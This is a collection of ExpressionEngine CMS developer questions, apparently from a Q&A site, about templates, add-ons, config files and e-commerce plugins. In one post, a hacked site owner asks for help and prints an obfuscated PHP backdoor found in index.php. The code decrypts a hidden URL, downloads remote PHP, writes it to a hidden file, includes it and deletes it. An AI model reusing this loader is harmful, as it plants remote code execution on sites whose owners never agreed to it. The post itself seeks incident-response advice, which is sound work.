    $assign_to_config['template_group'] = 'home';

    $assign_to_config['global_vars'] = array(
    'subsite_id' => 'admin_site',
    'domain' => 'http://sub.domain.com/',
    'site_name' => 'Admin Portal',
    );
}

My main default_site template path resolves as /home/site/public_html/templates/default_site
I want the subdomain path to use /home/site/public_html/templates/admin_site

Is there a param I can add to set the template path when coming in on the subdomain? Are any edits needed to .htaccess as well?

Thanks!


texts: I'd like the rendered markup to be absent any carriage returns, line feeds, or tabs. I'm looking for a functionality similar to Smarty's {strip} tag. Does EE have this?


texts: How do I access custom config.php variables in a plugin?

texts:
I'm writing a plugin for which I'd like to be able to set site-wide preferences via custom variables in config.php (eg $['myplugin_config_item']), and have those variables available in all my plugins methods, eg:

...
class Myplugin {

  public $return_data;

  function Method(){
    //how do I access $['myplugin_config_item'] here?

  }
  function Method2(){
    //and if I want to access $['myplugin_config_item'] here too, what's the most efficient way to do so?
  }

}
...

What's the cleanest/neatest way to do this?


texts: Search Multiple Channel Fields From One Low Search Field

texts:
Is it possible to have a single Low Search form doing something like:

  Low Search Form field called name which checks for values in channel fields called company_name, first_name, last_name
  Low Search Form field called keywords which works just like the regular keywords field on Low Search

I know we could have three fields on the form to handle company name, first name, last name but we are trying to simplify it for users and just have one field called name.


texts: "Select Files" Images disappearing in Low Variables

texts:
When moving the MySQL between environments (Live, Dev, Local) the files in "Select File" fields disappear The files are still on the server (All environments) because I just select them again and they work.

I'm running...

EE.2.7.0
Low Variables 2.3.5
PHP 5.4.10 (On all environments)


texts: Embed variable not parsing in channel:entries loop

texts:
I'm passing a variable into an embed file. I can output the value of the variable inside the embedded template no problem but when I use it in an channel:entries loop I'm not getting a result. Hard coding a value returns a result. Any thoughts?

Member ID {embed:member_id}

<?php $skills = array() ; ?>
{exp:channel:entries
    channel="logbook"
    orderby="date"
    sort="desc"
    dynamic="no"
    author_id="{embed:member_id}"
    disable="categories|category_fields|member_data|pagination"
}
    <?php $skills[] = array('skill' => "{log_skill}{url_title}{/log_skill}", 'badge' => "{log_skill}{skill_badge}{/log_skill}"); ?>
    {/exp:channel:entries}


texts:
Our server is being hit with spam requests related to new membership via a url query. The query looks like /index.php?ACT=8&id=G3UISGtdz, with the id changing. This is an older EE 1.6.8 site. I have disabled new membership, but the request keep coming.

Is there a way to stop this?


texts:
I looked through the docs and wasn't able to find a count variable to see what file you are in using a field tag. For example, I want to detect when the first file is being looped though my custom field.

{custom_field}
    {if count == 0}foo{/if}
    bar
{/custom_field}


texts: How does Freebie ignore segment_1 and know what template to use?

texts:
I am wanting to use Freebie to ignore segment_1.

I want to use a 'programs' template group but dont want programs in the url.

for example:
NO - domain.com/programs/cycling
YES - domain.com/cycling

If I place programs in the Freebie segments, how does it know when domain.com/cycling is used to use the programs template? Because at this time it shows the sites homepage.

I've read about htaccess and the way the index.php is removed, but still dont see how it ignores segment_1 and knows what template to use.

Thanks


texts: How many levels deep can relationships go?

texts:
Hopefully simple question but does anyone know how many levels deep the new native relationships template tags can go?  The docs show examples going three levels deep but doesnt mention if there is any limit that would prevent you from going four or five levels down?

http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#child-entries-showing-games-and-teams-in-a-season


texts: Cartthrob show discount before adding to cart?

texts:
I am using Cartthrob and am trying to figure out how to create a discount system. The goal is to create discounts for only certain products and set an automatic expiration date for the discounts. Where the product is displayed on the website (before adding to the cart), I would like to display the discount information such as the amount off, discounted price, etc.

Adding an expiring discount is easy with Cartthrob’s ‘Amount off Product’ discount type (where the discount applies to only specific entry IDs), however, there does not seem to be a way to show the discount information on a product page before adding the product to the cart. In the exp:channel:entries loop, trying to display discount information (amount off, discounted priced, etc.) using the tags described here results in unparsed tags. Once the product has been added to the cart those tags work. The documentation appears to confirm this behavior.

Has anyone using Cartthrob found a way around this limitation?

I am using EE v2.5.3 and Cartthrob v2.2.9.


texts: "Unable to initialize ExpressionEngine" when accessing CP URL

texts:
Experiencing some strangeness after deploying to Staging. I get this error when trying to access the EE CP:

  Unable to initialize ExpressionEngine. The EE core does not appear to be defined in your autoload file. For more information please contact technical support.

This only happens if I try to go to:

http://stagingurl.com/ee/

Where admin.php has been renamed inside an /ee/ folder as index.php

However, strangely,

http://stagingurl.com/ee/?S=0&D=cp&C=login

Works, allows me to log in. The site also works as expected in the front-end.

I'm not sure what's going on here and how to fix? And what happened?

I also happen to be using Focus Lab's Master Config. My local install is perfectly fine as well. Help! Don't want to break the site when it's ready to deploy LIVE.

EE v2.7.2 - Build Date: 20131008


texts:
So I have a safecracker form that presents different fields to different users. Think admin controls vs user controls in the same form.

{exp:safecracker channel="channelName" url_title="{segment_1}" return="/{segment_1}" include_jquery="no" datepicker="no" require_entry="yes" class="form-horizontal" preserve_checkboxes="yes" }

The issue is that the user version of the form, which does not display the admin only fields, ends up wiping the values in the DB for those fields.

I am not presenting hidden fields and I not rendering the fields to the "user".

Does anyone have a solution to preventing fields not presented to the user from being cleared?

You're doing it wrong is an acceptable answer as long as you have a solution :-p


texts:
I recently upgraded a local EE setup to 2.8.1 and now I cannot login to the CP. The page just refreshes.

I'm pretty sure that I've searched and read everything on EESE to find a fix but I'm still stuck. Here's what I've tried:

Clearing cache
Clearing cookies
Restarting Chrome
Also have used Incognito mode in Chrome
Deleting sessions in the DB (exp_sessions table)
Changing session types between cookies, sessions, and cookies + sessions

I'm using Focus Lab's Master Config and have this in my config.master.php file:

    // Session Preferences
$env_config['admin_session_type']       = 'c'; // cs|c|s
$env_config['user_session_type']        = 'c'; // cs|c|s
$env_config['cp_session_ttl']           = 86400;

// Cookie Settings
$env_config['cookie_domain']            = '.' . preg_replace('#^www\.(.+\.)#i', '$1', $_SERVER['HTTP_HOST']);
$env_config['cookie_path']              = '';
$env_config['cookie_prefix']            = ENV . '_';

Add-ons installed (in case it matters):

Draggable
Lovely Sorted Addons
Show Me My Assets
Single Entry
Snippet Sync
Stash
Superfish Admin
Custom System Messages
VZ Bad Behavior
VZ URL
Zoo Flexible Admin

[EDIT] I've also tried in Firefox and Safari; same thing.

Again, this is on my local setup and does not live anywhere else on the Interwebz. Everything was working before the upgrade to 2.8.1 (was previously on 2.7.2).

Help!


texts: Listing Page pullling in latest article for every article

texts:
I have created a listing page and each time a new entry is created the information is pulled in correctly in the loop. Although when I click on the link for a specific blog article it always displays the latest articles info, regardless of what blog article I click. The URL is always correct, although the content that is being displayed is wrong. You can see here for yourself here: http://www.neilmct.com/updates

Can anyone help me please? I'm having a melt down here.

Listing Page:

            {exp:channel:entries channel="updates" dynamic="no" limit="5" dynamic="off" status="open" disable="categories|category_fields|member_data|pagination"}

                            {title}

                        {exp:eehive_hacksaw chars="540" append="…" allow=""}

{updates_excerpt}

                        {/exp:eehive_hacksaw}

                            <button> READ MORE

                            </button>

            {/exp:channel:entries}

Detail Page:

            {exp:channel:entries channel="updates" dynamic="no" limit="1" dynamic="off" status="open" disable="categories|category_fields|member_data|pagination"}

                            {title}

{updates_article}

                     &laquo; Back

            {/exp:channel:entries}


texts: PHP Error Notice Undefined index: field_ta_rows in textarea/ft.textarea.php

texts:
I have this PHP warning noticed that's appearing in one of my channels and I'm not sure what the issue is. My channel has 9 custom fields; 4 grid fields, 3 text input fields, a text area field and a file upload field. I don't think there is anything overly complicated happening with these fields. I have Field Pack installed but i'm not using it within this channels custom fields. Has anyone else had a similar issue? What are some things I should look out for that might be causing this to appear?

Notes: This was a fresh install of EE 2.9.2. Field Pack version is 2.2.

A PHP Error was encountered
Severity: Notice
Message: Undefined index: field_ta_rows
Filename: textarea/ft.textarea.php
Line Number: 77


texts: Security on a redirect page for a short URL service

texts:
I'm setting up a simple short url service which utilises a template (code below) to forward the user to the correct page based on an entry id in the URL.

The following code is based on EllisLab's docs:

Security Guidelines
Database Class

Because the segment variable will be user-supplied, I want to make sure I haven't missed anything security-wise.

Is this sufficient security or are there additional/better methods I can employ?

(PHP is enabled on input)

   <?php

       $this->EE =& get_instance();
        $seg3 = $this->EE->uri->segment(3);
        $entry_id_clean = ee()->security->xss_clean($seg3);
        $entry_id = ee()->db->escape_str($entry_id_clean);
        $query = ee()->db->select('channel_id, url_title')
            ->from('exp_channel_titles')
            ->where(array(
                    'entry_id' => $entry_id,
            ))
            ->limit(1)
            ->get();

        $title = $query->row('url_title');
        $channel = $query->row('channel_id');

        // Redirect to the correct page...

    ?>


texts:
I've got a custom plugin that I'm using to do some PHP work for a project.

I'm looking for a way to run some of the category methods in the Admin_content class. Are add-ons able to use this class? If so, how?

Basically, I want to run the re-order categories (alphabetically) functionality outside of the CP, inside my add-on.


texts: expression engine jump to #id location on loaded page possible?

texts:
Just wondered if its possible to make a newly loaded page jump to a id ?
with or without javascript

like the old fasion way of having links to jump the same page.
goto 4
would jump to
jump here

Can this be archived on load ? if forexample my link is in segment_2

thats all :)


texts:
I need to allow custom sorting of a channel entries loop, so I'm currently achieving this by using segments and URLs like this: mywebsite.com/products/sort/date/asc and mywebsite.com/products/sort/price/asc with the following code:

  {exp:channel:entries channel="product" orderby="{segment_3}" sort="{segment_4}" pagination="bottom"}

{title}

  {/exp:channel:entries}

This works fine for ordering by date and other custom fields, but the downside is that the URLs can get a bit ugly as I need to add the custom field short name to the URL, e.g. mywebsite.com/products/sort/cf_product_ugly_custom_field/asc

My workaround has been to name the custom fields I wish to sort by from my usual format of {cf_product_price} to {price}, but this doesn't feel like an elegant solution.

Can anyone think of a more elegant way of doing custom sorting, without having to have the custom field in display in the URL like this? Thanks for any advice.


texts:
I am creating a signup form for an event where you can register multiple users at once. Does free form pro support some sort of repeatable blocks?
Clicking "add another user" would add additional fields for name, surname and emailadres.

Tnx,
Kristoffer


texts: EE Freeform {exp:email:contact_form} error

texts:
I downloaded Freeform from Solspace free version and with Expression Engine 3, when trying to submit the form I get this error. Email is not part of the form and I don't get why this is happening.

Error
The following tag has a syntax error:
{exp:email:contact_form}
Please correct the syntax in your template.

Form Code:

{exp:freeform:form collection="contact" return="contact/thanks"}

                        <input type="text" id="name" name="name" required placeholder="Your Full Name"/>

                        <input type="text" id="number" name="number" required placeholder="Phone Number"/>

                        <textarea id="user_message" name="user_message" required placeholder="Your Message"></textarea>

                        <input type="submit" class="btn" value="Send Message"/>

            {/exp:freeform:form}

Any ideas? The strange thing is that when I check EE CP I get the emails there but don't get notification via email.


texts: How to build HTML navigation breadcrumbs without using an add-on?

texts:
There exist some add-ons that permit to build navigation breadcrumbs, such as NavEE, Construct and Structure.

What could the best way to create HTML navigation breadcrumbs without using an add-on?

Is using multiple conditionals a good choice?


texts: Migrating ExpressionEngine 2.11 to version 4

texts:
I have an installation with ExpressionEngine v. 2.11 and need to move it to a new server so that will involve upgrading the installation to version 4

Where can I find some steps for migrating and any considerations I need to take into account before proceeding with this change?

Greetings,
Leo


texts: How can i make the Screen Name element required?

texts:
I need to make the screen_name input field on my CP Register Member form required.

Here is what I currently have:

// Screen Name
$this->table->add_row(array(
    form_label(required().lang('Client Name'), 'screen_name').NBS.form_error('screen_name'),
    form_input(array(
        'id'    => 'screen_name',
        'name'  => 'screen_name',
        'class' => 'field',
        'maxlength' => 50,
        'value' => set_value('screen_name')
        )
    )
)
);

I am not sure what else I need to do to make this a required field. Thanks!


texts: Show entries for a certain date with a custom date field using Super Search

texts:
I am looking to display entries based on a custom date field using Solspace Super Search.

I want to be able to use a date picker to select a date in a search form and then use Super Search to only show entries based on that particular date, no entries before or after it.

The dates are stored in EE using a native EE date field.

My field name is next_box

Thanks


texts: Expresso-Store: New Payment Plugins - Where do we find them?

texts:
What does one do if a payment plugin hasn't been developed yet for Beanstream.
Does Exp-resso add updates to the payment gateways they support?


texts: Store: Evaluating {order_subtotal} minimum amount in Checkout

texts:
How can we easy check if the {order_subtotal} has a minimum of 50.00 on the first checkout page in Store.
{order_subtotal} holds the amount together with the currency indicator and can therefor not be used for evaluating the amount with a simple if conditional.

Is there another tag with the only the value of the sub_total? Or do we need to manipulate with PHP here?

We want to deactivate the Continue button in the checkout process if the sub_total is not 50.00 (or whatever amount) and show a message.


texts:
I use php templates when I need to send notification emails to multiple people.
Since upgrading to EE 2.10, I have noticed that when I echo the code, before the code that I am echoing, there is a random code in {}, ex. {!-- ra:0000000004854f7300007f40072103c3 --}.

Any idea what this code is and how I can remove it?

I also use php templates to download data/save it to csv.  this same random code is always in the first cell of the .csv file.

Any help is appreciated.

Below is a sample of the php template code I am referring too.

<?php
            $debug = true; //debug mode: true for on, false for off
            $id = $this->EE->security->xss_clean($this->EE->uri->segment(3, 0));
            if( $id > 0 && is_numeric($id) ) //check if id is numeric and greater than 0
            {
                $this->EE->load->library('email');
                $this->EE->load->helper('text');
                $sql = "SELECT
                        et.title AS TITLE,
                        ed.field_id_6 AS MY_VAR
                        FROM
                        exp_channel_data as ed
                        WHERE ed.entry_id = " . $id . "  LIMIT 1";

            $results = $this->EE->db->query($sql);
            if ($results->num_rows() > 0)
                {
                    $title = $results->row('TITLE');
                    $myVar1 = $results->row('MY_VAR');
                } // END line 29

            if($debug == TRUE)
                {
                    echo "46";
                    echo $title."
\n";
                    echo $myVar1."
\n";
                }

} // END line 5
exit();

?>


texts:
I’ve got something here that is absolutely not critical, but it's bugging me and I’ve been encouraged to post it here to see if anyone can help out.

I am trying to change the skin of WYGWAM to one I found for CKEditor that I really enjoy (Moono, which I believe is the default now), but when I try to do that, the WYGWAM field will no longer load. I found what I thought was the appropriate place to change the skin in third_party/wygwam/helper.php. And I uploaded the skin to themes/third_party/wygwam/lib/ckeditor/skins. But no joy. Any idea what I'm doing wrong?

Here is what I’m changing in helper.php:

public static function base_config()
{
    return array_merge(array(
        'skin'               => 'wygwam2',
        'toolbarCanCollapse' => 'n',
        'dialog_backgroundCoverOpacity' => 0,
        'entities_processNumerical' => 'y',
        'forcePasteAsPlainText' => 'y'
    ), self::default_config_settings());
}

Obviously, I’m changing 'wygmwa2' to 'moono'.

Here is what the field looks like before trying to change the skin: before

And here is what it looks like when I change the skin in helper.php: after

Additionally, after playing around with helper.php, I realized I could change skins on a per configuration basis in the advanced settings and I tried that, but experienced the same problem.

The field is obviously failing to initialize. Any ideas, anyone have any experience with this?


texts:
I'm posting this in case any advice helps others who've suffered a similar hack. AFAIK the hack involves compromised FTP access only. index.php of EE v2.10.2 was modified and a couple of new subdirectories containing generated files were created within a web-accessible directory.  No database or system directory access.  All code was removed and I reset hosting account, FTP and database passwords following discovery.

Any comments on further best practice in EE following an FTP hack like this?
Suggestions on what the code does - some kind of automated review
submission?

The generated files contained mostly Arabic and look like:

    <"forexarabica|

    خيار ثنائي مراجعة الروبوت يوتيوب rating

    5-5 stars based on
    126 reviews

[lots of Arabic in paragraphs plus some random URLs]

The code found at the top of index.php was:

<?php
@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5'; $pass = "Zgc5c4MXrLskZVkZ9Y1BPrCRP1WUNbhY3iKMG+/NuQE=";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
    $subdirs = glob("$dira/*", GLOB_ONLYDIR);
    foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
    }
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
?>


texts: Display content if url segment does not match a url_title

texts:
I am using pages to display content on a page called Speed Sales. I display the entry by checking for segment_2 and matching it to a channel entry basically. I need to display content in case someone spells the url wrong and it doesn't match a url_title in my speed_sales channel. Any ideas?

I'm assuming I might have to include a channel:entries tag with the channel="speed_sales" and check if segment_2 == a url_title for an entry, then display default content if it doesn't, but am unsure how to do this correctly.

EDIT:

I have updated my template to the following:

        {exp:channel:entries channel="speed_sales" dynamic="no" url_title="{segment_2}"}
                {if url_title == "{segment_2}"}

{title}

                    {if lead_copy}
{lead_copy}
{/if}
                    {if subtitle}

{subtitle}

                    {/if}
                    {newsletter_copy}
                {/if}
                {if segment_2 == "" || no_results}

Speed Sales

You may have reached this page in error (a typo in a link, or you backspaced the URL). Please choose a newsletter from below:

                        {!-- {embed="speed_sales/.newsletter_list"} --}
                {/if}
        {/exp:channel:entries}

The reason I included the segment_2 check in my no_results conditional, is because it displays nothing in the no_results conditional (since there is no segment_2). The page url this would need to show up on is /speed_sales or anything under /speed_sales. What happens is everything works properly, but the if no_results conditional block displays multiple times instead of just once. It must be reading the amount of entries in the channel and repeating it that many times. I commented out the embedded list template to check, and it still repeats the block anyways.


texts:
I've developed several sites using CartThrob, over the years, and it has been a love/hate relationship. They're great guys, and when they are on, they are super. When they're off, however, not so much.

Their support has been hit or miss, and has created problems for me with clients. Their responses to requests that I think should be included – like being able to set the tax rates by multiple parameters, produce pick lists for purchased items, etc. – are often met with estimates for expensive custom development.

Now, they are charging $1.00/minute for support. I think it's time to move on.

The problem is that there don't seem to be a lot of options out there that meet my clients' various needs. In addition to the standard shopping cart operations, we need:

Destination-based Sales Tax (for states like North Carolina)
Gift Certificates with Stored Values
Recurring Billing
Flexible Reporting (packing slips, pick sheets, taxes, etc.)
First-Time Order Charges (setup fees, etc.)

Does anyone have recommendations?

Thanks,

ty


texts:
ExpressionEngine 2.8.1
Matrix 2.5.10

I'm using Channel Form to allow users to update their own entries on our website. I'm using a Matrix field to allow them to upload documents (mostly PDFs). When the form gets submitted the text cell in the Matrix field saves just fine, but the file cell is not being uploaded or saved.

I thought the workflow plugin I was using was hijacking file uploads, but it turns out after uninstalling it that file uploads still did not work.

I did see that a similar sounding issue was fixed in the latest version (which I have installed), but the issue is still occurring for me. This same thing happens on Grid fields as well. I have double-checked File Upload permissions and folder permissions. Regular file uploads work fine (I have another field in the entry that just uploads a single file).

Any suggestions on how to fix this?

UPDATED

I updated to 2.8.1 hoping that there was a bug that was fixed. I've found two places where this is considered a bug, but they've been reported as fixed. For me, this is still happening. I wish there were some error log that could point me in the right direction.


texts: How do I use DB SELECT to return only CHOSEN categories in a specific group while in an entries tag?

texts:
I am working in a channel entries tag. I want to return an array of category names that are selected in the entry, if they are in group_id 4. This is what I have so far...  however, it is returning all my categories in group_id 4 not just the ones selected in that entry.

$this->EE =& get_instance();
$res = $this->EE->db->select('cat_name')->where('group_id', 4)->get('categories')->result_array();
    foreach ($res as $r)
    {
        $entryregionArr[] = $r['cat_name'];
    }
    if (in_array($_GET['region'], $entryregionArr)) {
        echo "Africa is in this array";
    }

   print_r($res);

I am then going to see if my $_Get value is in the array. Right now with all the categories in group_id 4 returning, Africa is always in the array. so it returns everytime.


texts: Wygwam switches double and single quotes

texts:
I am trying to implement Video JS (http://www.videojs.com) in my EE site. When adding the required code snippet in my Wygwam field:

<video id="bhv_ontruiming" class="video-js vjs-default-skin" controls preload="auto" width="700" height="396" poster="https://intranet.abvakabofnv.nl/uploads/videos/bhv_ontruiming.png" data-setup="{'example_option':true}">
</video>

... and switching to source mode and back, Wygwam takes

data-setup='{"example_option":true}'

and forces the outer quotes to double quotes and the inner single quotes to &qout;

data-setup="{&quot;example_option&quot;:true}

... thereby disabling the functionality of the player.

Does anyone have any idea as to how to prevent this from happening?

Wygwam 3.1.1


texts: Replacing category image field with a file browser

texts:
I'm writing an accessory to replace the category image field with a file browser that enables the user to navigate through folders to select their image (because the native category image field is restricted to a single upload directory).

Everything is nearly OK on the front end except that I'm getting

  Severity: Warning
  Message: Illegal string offset 'value'
  Filename: cp/admin_content.php
  Line Number: 2223

when submitting the form and looking in the database, the value is d.

When using the native category image field, after choosing an existing image from the file manager, the updated HTML looks like:

<input type="hidden" name="cat_image_hidden" value="file_name.jpg">
<input type="hidden" name="cat_image_hidden_dir" value="1">

and that's what the HTML looks like too after I update using my method so I don't understand what's going on.

The code for my accessory looks like:

$this->EE->cp->add_to_head('
    <script src="/themes/third_party/category_image_file_browser/js/jquery.easing.min.js"></script>
    <script src="/themes/third_party/category_image_file_browser/js/jqueryFileTree.js"></script>
    <link rel="stylesheet" href="/themes/third_party/category_image_file_browser/css/jqueryFileTree.css">

    <script>
        $(document).ready( function() {

            function copy_file_path(file) {
                var newpath = file.replace("../images/", "");
                $("[name=cat_image_hidden]").val(newpath);
            }

            $("[name=cat_image_hidden_dir]").val("1");
            $(".category_field .no_file select,.category_field .modifiers.js_show p,.category_field .file_set.js_hide .filename,.category_field .file_set.js_hide .sub_filename").hide();
            $(".category_field .file_set.js_hide").show();
            $(".category_field .modifiers.js_show").fileTree({ root: "../images/", script: "/themes/third_party/category_image_file_browser/connectors/jqueryFileTree.php" }, function(file) {
                copy_file_path(file);
            });
        });
    </script>
');

I've looked through the HTML and don't see any other form inputs I should be updating, but I've obviously missed something.

Anyone know what that is?

For reference, I'm using http://www.abeautifulsite.net/blog/2008/03/jquery-file-tree/ for the file browser. This part, selecting the value, all works fine; it's only saving to EE that I'm having trouble with.


texts: Solspace Tag "Suggestion" dropdown broken

texts:
Using Solspace Tag 4.2.5 with EE 2.7.0

The suggestion tool is broken. Triple checked install. De-installed, reinstalled twice...  /themes/ as well as /system/ files.

This is the error: http://cl.ly/U22k

Any ideas?


texts: Easy question. How do I set a limit on the total results for a page that has pagination?  I have a site that displays 16 entries per-page, but would like to limit the total results to 200.  Is this possible?


texts: Deprecated function set_cookie() in MX Mobile Detect add-on

texts:
I'm using MX Mobile Detect by Max Lazar but it doesn't seem to have been updated for a while. Specifically, the Developer Log is showing the following error;

Deprecated function set_cookie() called in /third_party/mobile_detect/pi.mobile_detect.php on line 238.

Deprecated since 2.8. Use EE_Input::set_cookie() instead.

I'm just wondering how I should modify this line?

$this->EE->functions->set_cookie( 'mx_mobile_device', $this->cache['mx_mobile_device'], $this->cookie_expire );

Thank you.


texts:
I recently switched from MX Google maps, to Google Maps for EE, and so far it's been pretty good. I do however just have a couple of issues that I hope I can fix up.

I have a map within a safecracker form, for users to plot a marker so I can capture location data within the entry.

I have applied some custom css to the map in order to get it to fit in with my site design, however, when the page is first loaded, the map does not show straight away, and the Geocoder form elements are un-styled. After a second or two it kicks in and looks fine.

goes from this...

until a few seconds later when it shows like this....

Now is there anything I can do to either prevent this happening, or at least mask it whilst it loads?

Secondly, if the user plots a marker, but tries to submit the form with other fields that still need filling in, the form reloads, shows the other errors, but the map fails to load.

Like this...

Any ideas?


texts:
it's good to see the answers from Brad on issues with MoreEvents. I have been trying to work with the module but wondered if my installation was ok or not.

Can anyone tell me if the module was supposed to install some templates only I cannot find any within the control panel?

Regards

Richard


texts: Conditional on Assets Field Tag that contains a quote in EE v2.9

texts:
Running up against a problem in the use of an Assets field tag in a conditional where there's single quotes entered into the field (in this case the Caption field).

Caption: Otherwise know as 'Old man's beard'.

Template code:

{if "{mc_media_image:caption}" != ""}

    <figcaption>
        {mc_media_image:caption}
    </figcaption>

{/if}

Error message returned:

Error

You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}.

Parser State: Unexpected ‘Old’ (VARIABLE); expected RD in Template “_includes/incopy_images” on line 46.

The question is how can I test for the existing of content on a caption field if there's a quote in the field? EE v2.8.1 didn't have the same problem as the conditionals weren't as strict as they are now in EE v2.9

Would appreciate some help on this one thanks.


texts: Are there any options to add URL shortening abilities from inside EE5? Looking for something to tie into a Bitly or TinyURL account. There were options for EE2 and EE3, but they were abandoned.


texts:
I try to implement ce cache so that everytime any entry is updated/deleted/added the cache is rewritten.

So I read trough the documentation and diverse forum posts. But I don't get it.

Lets say I have a template:

{exp:ce_cache:it id="news" url_prefix="{language_code}" tags="news"
   {exp:channel:entries channel="news"}
      {title}
   {/exp:channel:entries}
{/exp:ce_cache:it}

Now I added tags="news" like so:

Now when I edit an new entry shouldn't it break the cache and show up the edited news entry? Well it doesn't.

I use the file driver.


texts: Assets Folder Pair, parent_folder not responding

texts:
Perhaps I'm simply not understanding the tag's function, but I have an upload directory ({filedir_4}) with about 10 subfolders I made within the Assets interface. I'd like to list the titles and ids of these subfolders, and I'm attempting to do so like this:

{exp:assets:folders parent_folder="{filedir_4}"}
   {folder_name}, {folder_id}
{/exp:assets:folders}

This returns nothing. However, if I do this:

{exp:assets:folders recursive="yes"}
   {folder_name}, {folder_id}
{/exp:assets:folders}

It does manage to list every folder and subfolder, which is somewhat encouraging, but I'm only looking for the contents of {filedir_4}. What am I missing here? Thanks!

Assets 2.0.5 / EE 2.5.5 / PHP 5.3.2


texts:
I would like a channel form return path to open in a new window upon submission. Is there any way to do this?  Below is the template code I have:

{exp:channel:entries channel="projects" entry_id="{last_segment}" limit="1"}

{title}

                            {project_proof orderby="row_id" sort="desc" limit="1"}

                                    {exp:channel:form
                                        channel="projects"
                                        entry_id="{last_segment}"
                                        return="images/uploads/proofs/{proof_file:filename}.{proof_file:extension}"
                                        orderby="row_id"
                                        sort="desc"
                                        limit="1"
                                        target="_blank"
                                    }
                                    <input type="hidden" name="field_id_77[row_order][]" value="row_id_{row_id}" />
                                    <input type="hidden" name="field_id_77[row_id_{row_id}][col_id_19]" value="{current_time format='%F %d, %Y - %g:%i:%s'}" />
                                    <input type="hidden" name="field_id_77[row_id_{row_id}][col_id_15]" value="{proof_date}" />
                                    <input type="hidden" name="field_id_77[row_id_{row_id}][col_id_18]" value="{proof_notes}" />
                                    <button class="button" type="submit">View details</button>
                                    {/exp:channel:form}

Submit changes</button>

                            {/project_proof}
                        {/exp:channel:entries}

Basically it returns an image so I want to have that image either open in a new window or download.  Thanks!


texts:
So I am using the loop_plus plug-in to generate dynamic variable names with each iteration of a section of the page. My code is as follows:

  {exp:channel:entries channel="portfolio-section" url_title="{segment_3}"}
    {exp:loop_plus start="1" increment="1" parse="inward"}

  {/exp:loop_plus}
     {/exp:channel:entries}

The resulting HTML that is returned is correct except for the EE shortcode is not parsed:

I used parse="inward" as suggested in this post: https://stackoverflow.com/questions/16654301/expression-engine-dynamic-variable-names-slide-index-title. I get the feeling that the parse="inward" is not performing. I've tried it without parse="inward" and it returns the same results. Is there something I am missing?


texts: Solspace Calendar - How do I show current date of repeating events?

texts:
I have a page that shows the Day's events. It currently uses:

{event_first_date}

This is great except with repeating events - which continues to show the first date of the event. I reviewed the documentation but did not see an option to display

{event_current_date}

or something like that. Any clues as to what that would be?

Thanks.


texts: Getting around pagnation in parent relationships

texts:
I confirmed with EE that as of yet there isn't support for pagnation in a parent relationships.

Was wondering if anyone else encountered this issue and what solutions you've employed to get around it?


texts: Unable to load site preferences - Error Message

texts:
I have been receiving a error message randomly on a expressionEngine site I created.

You can see teh errror message here http://cl.ly/image/2w1a061e0i0d

Any ideas on what could cause this error? I am running ee v2.5.3


texts: Low-search: How to get the total amount of search results?

texts:
I am trying to get the total amount of search results available for a given search term. My results are paginated. total_results Will give me the total amount displayed in the page, but I need the total amount available in all pages to say something like "Your search term was found in 140 pages"

How can I do that?


texts: Exclude random entry from another entry tag

texts:
I'm trying to load a random channel entry on page landing, while excluding that entry from the navigation to view more in the sidebar.... Here's what i want to do, but I'm not sure how to make this work...

{exp:channel:entries
  channel="success_story"
  dynamic="no"
  orderby="random"
  limit="1"
}
{content}
{/exp:channel:entries}

{exp:channel:entries
  channel="success_story"
  entry_id="not (entry_id from above)"
}

{title}

{/exp:channel:entries}


texts:
Can I get the sql query after calling exp:channel.
I want to see the query behind an exp:channel call?
Is this possible by any debugging process?

Thanks


texts: Remove/Clear select option value in a freeform pro edit form

texts:
I am having a weird issue in a Freeform Pro edit form.
I'm using Freeform Pro v.4.2.5 and EE 2.11.2

I think I'm missing something obvious.
In my jsfiddle, when Radio Option 1 is clicked , the two drop down menu fields are required.
When Radio Option 2 is clicked, the two drop down menus are hidden and their values, if any were selected, are removed.

This works fine.

My problem occurs when I edit a record.  If I had clicked Radio Option 1 and then two options from the select menus; if I go back and edit the record and choose Radio Option 2, while the select options are removed in the form, they are not deleted in the database.

Any ideas what I am missing?

I thought the code below removed the value from a select menu but it only saves the removed value from textfields.

$('#state_2').val("");

I also tried the code blow but it did not work either.

$('#country_2').prop( "selected", false );

Any help is appreciated, even if to let me know I'm missing something super obvious!
Thanks
Peter T


texts: EE3 Extension not showing up - what am I missing?

texts:
I've read this:

https://docs.expressionengine.com/latest/development/conversion/index.html

and this:

https://docs.expressionengine.com/latest/development/extensions.html

I have a folder called:

ee/system/user/addons/ldap_plugin

in this folder I have:

addon.setup.php
ext.ldap_plugin.php
language/

addon.setup.php looks like:

<?php

return array(
  'author'      => 'Me',
